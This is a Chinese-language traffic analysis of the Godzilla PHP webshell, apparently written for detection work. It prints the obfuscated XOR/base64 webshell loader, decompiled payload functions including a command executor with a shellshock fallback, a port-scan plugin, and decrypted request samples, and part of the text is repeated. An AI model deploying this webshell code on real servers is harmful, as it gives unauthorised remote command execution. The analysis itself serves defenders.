这是webshell流量分析哥斯拉篇
当下的分析会建立php5.3使用evalXOR解码器
当点击测试连接他会发送返回三组包
第一个包
第二个包
第三个包
其实第一个特征已经出来了,不难看出在PHP_EVAL_XOR_BASE64这个加密器的情况下,哥斯拉会将他的完整shell通过密码参数传入服务器,且每个包都会
在一句话木马的情况下,哥斯拉4.0.1在check包中会有两个传参分别是一句话设置的密码与在客户端设置的密钥
eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));
他并不像其他webshell,哥斯拉不仅将payload进行了base64编码,还将编码后的内容做了字符反转
通过反转解码可得到
@session_start(); // 启动会话,@ 符号用于抑制可能出现的错误信息 @set_time_limit(0); // 设置脚本执行时间不限制 @error_reporting(0); // 设置错误报告级别为 0,即不报告任何错误 function encode($D,$K){ for($i=0;$i
来简单分析一下 pass的内容为客户端设置,传输过去的中间木马会将key作为post输入接受传参后通过encode函数与密钥XOR加密后传入data变量,if判断_SESSION内容如果没有则再判断内容是否有getBasicsInfo,如果有则将data进行加密后传入SESSION 通过解包我们可以找到哥斯拉的payload文件 他应该就是判定的这串字符 接下来关注的函数肯定是encode,这个编码器使用的是异或的方式进行加密解密 异或 XOR 0 ^ 0 = 0 0 ^ 1 = 1 1 ^ 0 = 1 1 ^ 1 = 0 对于字符的异或也是如此,先将字符转化为ascll,再将ascll转化为二进制,再进行 XOR A ^ B 65 ^ 66 1000001 ^ 1000010 -------------- 0000011 3 那么A^B XOR结果为3 pass变量等于key,这是在客户端设置的随后pass变量被传入了 base64_decode($_POST[$pass])等同于 base64_decode($_POST['key'])尝 试使用第二个包来解密 DlMRWA1cL1gOVDc2MjRhRwZFEQ== base64 SX \/XT7624aGE 而后进行异或解码,直接复用 methhdNametest check包分析 第一个包 根据上面的分析,不难看出第一包的kay肯定是payload 哥斯拉并非向蝎子一样模块了部分payload,而是将所有的payload整合进了一个文件,在check时将payload存入了$_SESSION 将key解密后可以得到和反编译后payload一致的文件 第二包 key解密后为methhdNametest,通过阅读代码,在payload释放后key中的信息在 echo base64_encode(encode(@run($data),$key)); 被传入了位于payload的run()函数 function run($pms){ global $ERRMSG; // 声明全局变量 $ERRMSG //methodNametest 输入 reDefSystemFunc(); // 调用重新定义系统函数的函数 $_SES=&getSession(); // 获取会话变量 @session_start(); // 启动会话,@ 符号用于抑制可能出现的错误信息 $sessioId=md5(session_id()); // 生成会话 ID if (isset($_SESSION[$sessioId])){ // 检查会话中是否存在特定的会话 ID $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId))); // 尝试从会话中恢复会话变量 } @session_write_close(); // 关闭会话写入 if (canCallGzipDecode()==1&&@isGzipStream($pms)){ $pms=gzdecode($pms); // 解压缩输入数据 } formatParameter($pms); // 格式化参数 将传入的参数做分割 提取字符 等待后续 // 如果会话变量中存在 "bypass_open_basedir",并且值为 true,则尝试绕过 open_basedir 限制 if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){ @bypass_open_basedir(); // 绕过 open_basedir 限制 } // 如果存在函数 set_error_handler(),则设置错误处理函数为 payloadErrorHandler if (function_existsEx("set_error_handler")){ @set_error_handler("payloadErrorHandler"); } // 如果存在函数 set_exception_handler(),则设置异常处理函数为 payloadExceptionHandler if (function_existsEx("set_exception_handler")){ @set_exception_handler("payloadExceptionHandler"); } $result=@evalFunc(); // 执行 evalFunc() 函数 if ($result==null||$result===false){ // 如果结果为 null 或者 false,则使用全局变量 $ERRMSG 作为结果 $result=$ERRMSG; } // 如果会话变量不为 null,则重新写入会话变量 if ($_SES!==null){ session_start(); $_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId)); @session_write_close(); } // 如果可以调用 gzencode() 函数,则对结果进行 gzip 压缩 if (canCallGzipEncode()){ $result=gzencode($result,6); } return $result; // 返回结果 } 而后又传入了formatParameter()函数格式化 //解码 function formatParameter($pms){ global $parameters; // 声明 $parameters 变量为全局变量,用于存储解析后的键值对 $index=0; // 初始化索引变量为 0,用于迭代处理输入字符串的每个字符 $key=null; // 初始化键变量为 null,用于存储当前正在解析的键 while (true){ // 开始一个无限循环,函数会在循环内部处理输入字符串的每一个字符 $q=$pms[$index]; // 获取当前索引位置的字符,并存储在变量 $q 中 if (ord($q)==0x02){ // 检查当前字符是否为 ASCII 值为 0x02 的分隔符 // 如果是分隔符,则获取接下来的 4 个字节作为值的长度,并将其解析为一个整数 $len=bytesToInteger(getBytes(substr($pms,$index+1,4)),0); $index+=4; // 将索引增加 4,以便继续处理下一个键值对 // 从字符串中截取长度为 $len 的子字符串作为值,并存储在变量 $value 中 $value=substr($pms,$index+1,$len); $index+=$len; // 将索引增加值的长度,以便继续处理下一个键值对 $parameters[$key]=$value; // 将解析出的键值对存储到全局变量 $parameters 中 关键 $key=null; // 重置键变量为 null,以便解析下一个键值对 }else{ $key.=$q; // 如果当前字符不是分隔符,则将其添加到键变量中,构建当前正在解析的键 } $index++; // 将索引增加 1,以便继续处理下一个字符 if ($index>strlen($pms)-1){ // 检查索引是否超出了输入字符串的长度,如果超出则跳出循环 break; } } } 第二个包参数methhdNametest传入后解码为键值对再传入数组$parameters 回到run函数,在看一个关键函数evalFunc(); function evalFunc(){ @session_write_close(); // 关闭当前会话的写入,确保会话数据在调用结束后被写入 $className=get("codeName"); // 获取 codeName,作为类名 $methodName=get("methodName"); // 获取methodName,作为方法名 根据 formatParameter 读取methodName会得到相应的值 //通过get()函数调用parameters变量中的键 $_SES=&getSession(); // 获取会话数据,并赋值给 $_SES 变量 if ($methodName!=null){ // 检查 methodName 是否为空 if (strlen(trim($className))>0){ // 检查 className 是否为空或只包含空白字符 if ($methodName=="includeCode"){ // 检查 methodName 是否为 "includeCode" return includeCode(); // 如果是,调用 includeCode() 函数并返回结果 }else{ if (isset($_SES[$className])){ // 检查 $_SES 中是否存在指定的类名 return eval($_SES[$className]); // 如果存在,则使用 eval() 执行对应的 PHP 代码,并返回结果 }else{ return "{$className} no load"; // 如果 $_SES 中不存在指定的类名,则返回错误信息 } } }else{ if (function_exists($methodName)){ // 检查指定的方法是否存在 return $methodName(); // 如果存在,则调用该方法并返回结果 }else{ return "function {$methodName} not exist"; // 如果方法不存在,则返回错误信息 } } }else{ return "methodName Is Null"; // 如果 methodName 为空,则返回错误信息 } } 通过get函数获取了parameters变量中的键值 function get($key){ global $parameters; // 声明 $parameters 变量为全局变量,用于访问外部的参数数组 if (isset($parameters[$key])){ // 检查参数数组中是否存在指定的键 return $parameters[$key]; // 如果存在,则返回对应键的值 }else{ return null; // 如果不存在,则返回 null } } 刚刚在formatParameter处理过的信息传入了parameters在这里接受了调用,返回了evalFunc()后作为函数名执行 if (function_exists($methodName)){ // 检查指定的方法是否存在 return $methodName(); // 如果存在,则调用该方法并返回结果 }else{ return "function {$methodName} not exist"; // 如果方法不存在,则返回错误信息 } 传入的参数为methhdNametest 处理过后被执行的函数应为test() function test(){ return "ok"; } 接着往下跟返回的信息通过gziencode做了压缩 if (canCallGzipEncode()){ $result=gzencode($result,6); } 而后才返回到木马 eval($payload); // 执行载荷中的 PHP 代码 echo substr(md5($pass.$key),0,16); // 输出密钥的 MD5 前半部分 echo base64_encode(encode(@run($data)/**这时候没加密**/,$key)); // 对传入的数据运行,并将结果加密后输出 echo substr(md5($pass.$key),16); // 输出密钥的 MD5 后半部分 根据代码可以看出来 最后的输出结构是这样 72a9c691ccdaab98fL1tMGI4YTljMv79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488,掐头去尾 fL1tMGI4YTljMv79NDQm7r9PZzBiOA== 解码脚本 在check阶段返回包的解密过程只比发送包多了一个gzip的压缩 通过返回解码后为 ok 第三包 通过相同手法先解密发送包 methodName getBasicsInfo 逻辑同上,payload将执行 getBasicsInfo函数 fL1tMGI4YTljMkBmf1uCBXOLjmdq0MQ8S2iHIZ2n+lJKLWZBxnK/T9gmt6T0AnrCwBLw6JvNfHMtBxhEPbapxCUF+fdVEo1jjWRNKQxEuKwhPyoaGN6nzM/qnGEKu7IL6uQg9CYD3jMcePZIYbIEpoStF3vRh3+u+MQf/lLz+C/hCaiTVsQUoy+el1YoEYhcgl9Ul5GTAex4MudPg1TRqTL8YGXcEdcAPldst2JOUr6wz0eOpAwObTplbpacC8SAJkba7fTMSoRImwqlZ6IGTebS7Z987pja9Z9+veZNlHQ9y0XBjrWjSoTOltoQbU3tm32EMQiBBIJt2Yulv9craTyUtRCLtjhR2t5SwMDGgyy84cHn/1qM3RXTsaw2umpLNiRVms5uYPElhEsh8v3gh/umG/jjyl26+tmWrG77Ry68O67HMgPwEwlQ4i0QnQXHiVpRffCjBQf+NsNeLzwcelXig4KLwneRBd+9Uk7PkikiYMmODoTnbDJdSu5gZL+k12jzW8bPO32Y1/U1PhHK5KaV2poaLi5WZUG4i9jBVpyQFE29CPi7nArNdHxaPH5ht1mrO3geNpWID4pAr/UkkZcV//sV7AMfzKpRUKLB35+QjDtXjbwE9ox8yiUOBrhF4DOSjGHD/D2gaPJtDXIZZhkSTaf+wpFy3um2A7C1YZKvrxNsEt8uDz5dt2MYHrlam/AHfs1z0zDXg1vyDVQfOEReH99O0ty7JwP1btjq3HKQEg1RrcKvaMirEio74dqicNFmX6UXrkM7lPzHie+K0Q29VqM9EBjZkQV80dth/TedhrXijTaiufYDdWjUtOGyYHfirCZ/dWO967vaNG2afKQrqfhJqgXua+WvBtyY4Afe3y2bZvmPJHuDQqgubhMzhIZtCVBDRYUyw6zOX6FFUQSrhMIifAL3uaCPThKjKhK11zgAsSoQ/xmDEFdkJLwZWdri5Ro2Myf6EJ0dDaVrxX465goc/ugEaZR8/7fagdhl5U6Wq5DDHJbeOgzzrHB0i+/nECwF4P0oA/EFvLtgZwrufO2a7+rY3QjBF/MVeRXivsSHDRi6yRC+8jwtiNcV03EALJfKMP5tmZoBDzCtWdzDH987X0CJDz5hviwr8PhcBZ7ZTd5TrxTZhjhTK3TPaD9c1uTqZDlj 命令执行 发送包 在命令执行中psot包也使用了gzip压缩,与check阶段的包不同 解密得到 cmdLine0sh -c "cd "/www/wwwroot/upload/upload/";ls" 2>&1methodName execCommand 通过上面的逻辑不难看出,调用了execCommand函数 执行的命令为 sh -c "cd "/www/wwwroot/upload/upload/";ls" 2>&1 function execCommand(){ @ob_start(); // 开启输出缓冲 $cmdLine = get("cmdLine"); // 获取命令行参数 // 根据当前系统设置 PATH 环境变量 if(substr(__FILE__,0,1)=="/"){ @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); }else{ @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;"); } $result=""; // 存储命令执行结果 // 如果不存在名为 runshellshock 的函数,则定义该函数 if (!function_existsEx("runshellshock")){ function runshellshock($d, $c) { // 判断当前系统是否受 shellshock 漏洞影响 if (substr($d, 0, 1) == "/" && function_existsEx('putenv') && (function_existsEx('error_log') || function_existsEx('mail'))) { if (strstr(readlink("/bin/sh"), "bash") != FALSE) { // 利用 shellshock 漏洞执行命令 $tmp = tempnam(sys_get_temp_dir(), 'as'); putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1"); if (function_existsEx('error_log')) { error_log("a", 1); } else { mail("[email protected]", "", "", "-bv"); } } else { return False; } $output = @file_get_contents($tmp); @unlink($tmp); if ($output != "") { return $output; } } return False; }; } // 根据可用的函数执行系统命令 if(function_existsEx('system')){ @system($cmdLine,$ret); }elseif(function_existsEx('passthru')){ $result=@passthru($cmdLine,$ret); }elseif(function_existsEx('shell_exec')){ $result=@shell_exec($cmdLine); }elseif(function_existsEx('exec')){ @exec($cmdLine,$o,$ret); $result=join("\n",$o); }elseif(function_existsEx('popen')){ $fp=@popen($cmdLine,'r'); while(!@feof($fp)){ $result.=@fgets($fp,1024*1024); } @pclose($fp); }elseif(function_existsEx('proc_open')){ $p = @proc_open($cmdLine, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); while(!@feof($io[1])){ $result.=@fgets($io[1],1024*1024); } while(!@feof($io[2])){ $result.=@fgets($io[2],1024*1024); } @fclose($io[1]); @fclose($io[2]); @proc_close($p); }elseif(substr(__FILE__,0,1)!="/" && @class_exists("COM")){ $w=new COM('WScript.shell'); $e=$w->exec($cmdLine); $so=$e->StdOut(); $result.=$so->ReadAll(); $se=$e->StdErr(); $result.=$se->ReadAll(); }elseif (function_existsEx("pcntl_fork")&&function_existsEx("pcntl_exec")){ // 使用 pcntl_fork 和 pcntl_exec 执行命令 $cmd="/bin/bash"; if (!file_exists($cmd)){ $cmd="/bin/sh"; } $commandFile=sys_get_temp_dir()."/".time().".log"; $resultFile=sys_get_temp_dir()."/".(time()+1).".log"; @file_put_contents($commandFile,$cmdLine); switch (pcntl_fork()) { case 0: $args = array("-c", "$cmdLine > $resultFile"); pcntl_exec($cmd, $args); // 子进程只有在执行失败时才会到达此处,因为执行会切换到 pcntl_exec() 的命令 exit(0); default: break; } if (!file_exists($resultFile)){ sleep(2); } $result=file_get_contents($resultFile); @unlink($commandFile); @unlink($resultFile); }elseif(($result=runshellshock(__FILE__, $cmdLine)!==false)) { }else{ // 如果没有可用的函数执行命令,则返回错误消息 return "none of proc_open/passthru/shell_exec/exec/exec/popen/COM/runshellshock/pcntl_exec is available"; } // 将输出缓冲中的内容追加到结果中 $result .= @ob_get_contents(); @ob_end_clean(); return $result; // 返回执行结果 } 阅读代码可以看出来,除了一些常见的命令执行函数,它还使用了COM对象与shellshock漏洞来尝试做命令执行 相对于蝎子和蚁剑,可以说他是最全的 返回包 返回信息经过解密后,不意外就是执行过后的内容 文件查询 发送包 通过解码后,可以看到三个参数,但其实是四个 正确排列应为 methodNamegetFiledirName/www/wwwroot/upload/upload/ 也就是调用的函数应为 function getFile(){ $dir=get('dirName'); $dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__)); $dir.="/"; $path=$dir; $allFiles = @scandir($path); $data=""; if ($allFiles!=null){ $data.="ok"; $data.="\n"; $data.=$path; $data.="\n"; foreach ($allFiles as $fileName) { if ($fileName!="."&&$fileName!=".."){ $fullPath = $path.$fileName; $lineData=array(); array_push($lineData,$fileName); array_push($lineData,@is_file($fullPath)?"1":"0"); array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath))); array_push($lineData,@filesize($fullPath)); $fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":""); array_push($lineData,(strlen($fr)>0?$fr:"F")); $data.=(implode("\t",$lineData)."\n"); } } }else{ return "Path Not Found Or No Permission!"; } return $data; } 传入的参数 dirName内容为 /www/wwwroot/upload/upload/ 返回包 符合预期 端口扫描 哥斯拉的插件是通过将实现的php函数传入session,拿端口扫描举例,第一次运行的时候会发送两个包 1. 发送包 codeNamePortScan binCode?function portscan($scanip, $scanport="80") { $ret=array(); foreach(explode(",", $scanport) as $port) { $fp = @fsockopen($scanip, $port, $errno, $errstr, 1); if(!$fp) { array_push($ret,$scanip."\t".$port."\t0"); } else { array_push($ret,$scanip."\t".$port."\t1"); @fclose($fp); } } return implode("\n",$ret); } $scanip=get("ip"); $scanport=get("ports"); if ($scanip!=null&&$scanport!=null){ return portscan($scanip,$scanport); }else{ return "ip or ports is null"; }methodNameincludeCode 通过 methodNameincludeCode跟踪到includeCode函数 function includeCode(){ $classCode=get("binCode");// 导入的函数 $codeName=get("codeName");//函数名 $_SES=&getSession(); $_SES[$codeName]=$classCode; //存储 return "ok"; } 不难推出 $classCode= [code] $codeName=PortScan 返回ok 1. 返回包 解码 符合预期 2. 发送包 ip192.168.56.4codeNamePortScan methodNamerun ports8873,3306,80,8080,81,21,22,88,8088,8888,1433,443,445,3389 根据发送判断,可以得知他执行了上一个发送包存储的payload function portscan($scanip, $scanport="80") { $ret=array(); foreach(explode(",", $scanport) as $port) { $fp = @fsockopen($scanip, $port, $errno, $errstr, 1); if(!$fp) { array_push($ret,$scanip."\t".$port."\t0"); } else { array_push($ret,$scanip."\t".$port."\t1"); @fclose($fp); } } return implode("\n",$ret); } $scanip=get("ip"); $scanport=get("ports"); if ($scanip!=null&&$scanport!=null){ return portscan($scanip,$scanport); }else{ return "ip or ports is null"; } 通过代码推测,输出可能为 192.168.1.100 80 1 192.168.1.100 443 0 192.168.1.100 8080 1 这样的格式 2. 返回包 符合预期 总结 哥斯拉无论是流量还是shell的实现方式都非常不同于冰蝎与蚁剑,他不仅功能强大,而且在evalXOR解码器下还兼容一句话shell,成也兼容,败也兼容,哥斯拉在使用evalXOR解码器时会将他的标准木马编码后一起发送到服务端,虽然经过编码但解码并不困难而且其中有关键的异或密钥,也成为了在evalXOR中一个很有识别度的特征点 在前三个包中,哥斯拉的发送包为与密钥是简单异或关系,内容也是固定的,第一个包发送payload,通过木马存入SESSION——这也是哥斯拉不同于其他webshell的第二特征——后返回PHPSESSID,第二个包调用了刚刚发送的payload中的test函数,如果有返回证明连接建立,第三个包调用了payload中的getBasicsInfo函数,用于读取服务器的详细信息,整理后返回。 虽然说发送包与密钥的关系是简单的异或后base64编码,但也仅限于前三个包,而且不包括返回值,返回值与后续包的解码流程需要在之后再进行gzdecode解码,也就是 data —————— base64decode —————— 密钥异或 —————— gzdecode 且返回值头尾分别包含了传参值与密钥值的md5的前后16位,解码时需要忽略 哥斯拉的协议头为用户设计成了用户可编辑,默认为 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 但因为可编辑,所以除非使用者完全没有修改,否则参考价值不大 哥斯拉与蚁剑冰蝎最大的不同在与他们更多是需要某些功能时发送对应php代码来执行,而哥斯拉使用了session来存储payload,将常用的功能实现存储到了session中,调用仅需发送特制的数据包即可,对于插件的实现也是如此,只不过插件代码仅在需要时发送,也就是说我们可以通过解码发送返回包来确认哥斯拉使用了哪些插件,与插件的实现代码 总结 在phpXOR环境下哥斯拉的主要特征在与 1.PHPSESSID [正常的不会有分号] 2.UA头 [弱特征] 3.明文的完整shell [特定加密器才有] 总结到最后,不难发现,哥斯拉的一切努力似乎都在向隐蔽这一个方向发展并非对人,而是对于安全设备来说,在常用的三个webshell管理器中他的特征是最少的,如果让我在三个webshell管理器让我只能选择一个的话,我会选哥斯拉
来简单分析一下
pass的内容为客户端设置,传输过去的中间木马会将key作为post输入接受传参后通过encode函数与密钥XOR加密后传入data变量,if判断_SESSION内容如果没有则再判断内容是否有getBasicsInfo,如果有则将data进行加密后传入SESSION
通过解包我们可以找到哥斯拉的payload文件
他应该就是判定的这串字符
接下来关注的函数肯定是encode,这个编码器使用的是异或的方式进行加密解密
异或 XOR 0 ^ 0 = 0 0 ^ 1 = 1 1 ^ 0 = 1 1 ^ 1 = 0 对于字符的异或也是如此,先将字符转化为ascll,再将ascll转化为二进制,再进行 XOR A ^ B 65 ^ 66 1000001 ^ 1000010 -------------- 0000011 3 那么A^B XOR结果为3
异或 XOR
0 ^ 0 = 0
0 ^ 1 = 1
1 ^ 0 = 1
1 ^ 1 = 0
对于字符的异或也是如此,先将字符转化为ascll,再将ascll转化为二进制,再进行 XOR
A ^ B
65 ^ 66
1000001 ^ 1000010 -------------- 0000011 3
那么A^B XOR结果为3
pass变量等于key,这是在客户端设置的随后pass变量被传入了 base64_decode($_POST[$pass])等同于 base64_decode($_POST['key'])尝
base64_decode($_POST[$pass])
base64_decode($_POST['key'])
试使用第二个包来解密
DlMRWA1cL1gOVDc2MjRhRwZFEQ==
base64
SX \/XT7624aGE
而后进行异或解码,直接复用
methhdNametest
根据上面的分析,不难看出第一包的kay肯定是payload
哥斯拉并非向蝎子一样模块了部分payload,而是将所有的payload整合进了一个文件,在check时将payload存入了$_SESSION
将key解密后可以得到和反编译后payload一致的文件
key解密后为methhdNametest,通过阅读代码,在payload释放后key中的信息在 echo base64_encode(encode(@run($data),$key)); 被传入了位于payload的run()函数
echo base64_encode(encode(@run($data),$key));
function run($pms){ global $ERRMSG; // 声明全局变量 $ERRMSG //methodNametest 输入 reDefSystemFunc(); // 调用重新定义系统函数的函数 $_SES=&getSession(); // 获取会话变量 @session_start(); // 启动会话,@ 符号用于抑制可能出现的错误信息 $sessioId=md5(session_id()); // 生成会话 ID if (isset($_SESSION[$sessioId])){ // 检查会话中是否存在特定的会话 ID $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId))); // 尝试从会话中恢复会话变量 } @session_write_close(); // 关闭会话写入 if (canCallGzipDecode()==1&&@isGzipStream($pms)){ $pms=gzdecode($pms); // 解压缩输入数据 } formatParameter($pms); // 格式化参数 将传入的参数做分割 提取字符 等待后续 // 如果会话变量中存在 "bypass_open_basedir",并且值为 true,则尝试绕过 open_basedir 限制 if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){ @bypass_open_basedir(); // 绕过 open_basedir 限制 } // 如果存在函数 set_error_handler(),则设置错误处理函数为 payloadErrorHandler if (function_existsEx("set_error_handler")){ @set_error_handler("payloadErrorHandler"); } // 如果存在函数 set_exception_handler(),则设置异常处理函数为 payloadExceptionHandler if (function_existsEx("set_exception_handler")){ @set_exception_handler("payloadExceptionHandler"); } $result=@evalFunc(); // 执行 evalFunc() 函数 if ($result==null||$result===false){ // 如果结果为 null 或者 false,则使用全局变量 $ERRMSG 作为结果 $result=$ERRMSG; } // 如果会话变量不为 null,则重新写入会话变量 if ($_SES!==null){ session_start(); $_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId)); @session_write_close(); } // 如果可以调用 gzencode() 函数,则对结果进行 gzip 压缩 if (canCallGzipEncode()){ $result=gzencode($result,6); } return $result; // 返回结果 }
而后又传入了formatParameter()函数格式化
//解码 function formatParameter($pms){ global $parameters; // 声明 $parameters 变量为全局变量,用于存储解析后的键值对 $index=0; // 初始化索引变量为 0,用于迭代处理输入字符串的每个字符 $key=null; // 初始化键变量为 null,用于存储当前正在解析的键 while (true){ // 开始一个无限循环,函数会在循环内部处理输入字符串的每一个字符 $q=$pms[$index]; // 获取当前索引位置的字符,并存储在变量 $q 中 if (ord($q)==0x02){ // 检查当前字符是否为 ASCII 值为 0x02 的分隔符 // 如果是分隔符,则获取接下来的 4 个字节作为值的长度,并将其解析为一个整数 $len=bytesToInteger(getBytes(substr($pms,$index+1,4)),0); $index+=4; // 将索引增加 4,以便继续处理下一个键值对 // 从字符串中截取长度为 $len 的子字符串作为值,并存储在变量 $value 中 $value=substr($pms,$index+1,$len); $index+=$len; // 将索引增加值的长度,以便继续处理下一个键值对 $parameters[$key]=$value; // 将解析出的键值对存储到全局变量 $parameters 中 关键 $key=null; // 重置键变量为 null,以便解析下一个键值对 }else{ $key.=$q; // 如果当前字符不是分隔符,则将其添加到键变量中,构建当前正在解析的键 } $index++; // 将索引增加 1,以便继续处理下一个字符 if ($index>strlen($pms)-1){ // 检查索引是否超出了输入字符串的长度,如果超出则跳出循环 break; } } }
第二个包参数methhdNametest传入后解码为键值对再传入数组$parameters
回到run函数,在看一个关键函数evalFunc();
function evalFunc(){ @session_write_close(); // 关闭当前会话的写入,确保会话数据在调用结束后被写入 $className=get("codeName"); // 获取 codeName,作为类名 $methodName=get("methodName"); // 获取methodName,作为方法名 根据 formatParameter 读取methodName会得到相应的值 //通过get()函数调用parameters变量中的键 $_SES=&getSession(); // 获取会话数据,并赋值给 $_SES 变量 if ($methodName!=null){ // 检查 methodName 是否为空 if (strlen(trim($className))>0){ // 检查 className 是否为空或只包含空白字符 if ($methodName=="includeCode"){ // 检查 methodName 是否为 "includeCode" return includeCode(); // 如果是,调用 includeCode() 函数并返回结果 }else{ if (isset($_SES[$className])){ // 检查 $_SES 中是否存在指定的类名 return eval($_SES[$className]); // 如果存在,则使用 eval() 执行对应的 PHP 代码,并返回结果 }else{ return "{$className} no load"; // 如果 $_SES 中不存在指定的类名,则返回错误信息 } } }else{ if (function_exists($methodName)){ // 检查指定的方法是否存在 return $methodName(); // 如果存在,则调用该方法并返回结果 }else{ return "function {$methodName} not exist"; // 如果方法不存在,则返回错误信息 } } }else{ return "methodName Is Null"; // 如果 methodName 为空,则返回错误信息 } }
通过get函数获取了parameters变量中的键值
function get($key){ global $parameters; // 声明 $parameters 变量为全局变量,用于访问外部的参数数组 if (isset($parameters[$key])){ // 检查参数数组中是否存在指定的键 return $parameters[$key]; // 如果存在,则返回对应键的值 }else{ return null; // 如果不存在,则返回 null } }
刚刚在formatParameter处理过的信息传入了parameters在这里接受了调用,返回了evalFunc()后作为函数名执行
if (function_exists($methodName)){ // 检查指定的方法是否存在 return $methodName(); // 如果存在,则调用该方法并返回结果 }else{ return "function {$methodName} not exist"; // 如果方法不存在,则返回错误信息 }
传入的参数为methhdNametest 处理过后被执行的函数应为test()
function test(){ return "ok"; }
接着往下跟返回的信息通过gziencode做了压缩
if (canCallGzipEncode()){ $result=gzencode($result,6); }
而后才返回到木马
eval($payload); // 执行载荷中的 PHP 代码 echo substr(md5($pass.$key),0,16); // 输出密钥的 MD5 前半部分 echo base64_encode(encode(@run($data)/**这时候没加密**/,$key)); // 对传入的数据运行,并将结果加密后输出 echo substr(md5($pass.$key),16); // 输出密钥的 MD5 后半部分
根据代码可以看出来 最后的输出结构是这样 72a9c691ccdaab98fL1tMGI4YTljMv79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488,掐头去尾 fL1tMGI4YTljMv79NDQm7r9PZzBiOA==
72a9c691ccdaab98fL1tMGI4YTljMv79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488
fL1tMGI4YTljMv79NDQm7r9PZzBiOA==
解码脚本
在check阶段返回包的解密过程只比发送包多了一个gzip的压缩
通过返回解码后为 ok
ok
通过相同手法先解密发送包
methodName getBasicsInfo
逻辑同上,payload将执行 getBasicsInfo函数
getBasicsInfo
fL1tMGI4YTljMkBmf1uCBXOLjmdq0MQ8S2iHIZ2n+lJKLWZBxnK/T9gmt6T0AnrCwBLw6JvNfHMtBxhEPbapxCUF+fdVEo1jjWRNKQxEuKwhPyoaGN6nzM/qnGEKu7IL6uQg9CYD3jMcePZIYbIEpoStF3vRh3+u+MQf/lLz+C/hCaiTVsQUoy+el1YoEYhcgl9Ul5GTAex4MudPg1TRqTL8YGXcEdcAPldst2JOUr6wz0eOpAwObTplbpacC8SAJkba7fTMSoRImwqlZ6IGTebS7Z987pja9Z9+veZNlHQ9y0XBjrWjSoTOltoQbU3tm32EMQiBBIJt2Yulv9craTyUtRCLtjhR2t5SwMDGgyy84cHn/1qM3RXTsaw2umpLNiRVms5uYPElhEsh8v3gh/umG/jjyl26+tmWrG77Ry68O67HMgPwEwlQ4i0QnQXHiVpRffCjBQf+NsNeLzwcelXig4KLwneRBd+9Uk7PkikiYMmODoTnbDJdSu5gZL+k12jzW8bPO32Y1/U1PhHK5KaV2poaLi5WZUG4i9jBVpyQFE29CPi7nArNdHxaPH5ht1mrO3geNpWID4pAr/UkkZcV//sV7AMfzKpRUKLB35+QjDtXjbwE9ox8yiUOBrhF4DOSjGHD/D2gaPJtDXIZZhkSTaf+wpFy3um2A7C1YZKvrxNsEt8uDz5dt2MYHrlam/AHfs1z0zDXg1vyDVQfOEReH99O0ty7JwP1btjq3HKQEg1RrcKvaMirEio74dqicNFmX6UXrkM7lPzHie+K0Q29VqM9EBjZkQV80dth/TedhrXijTaiufYDdWjU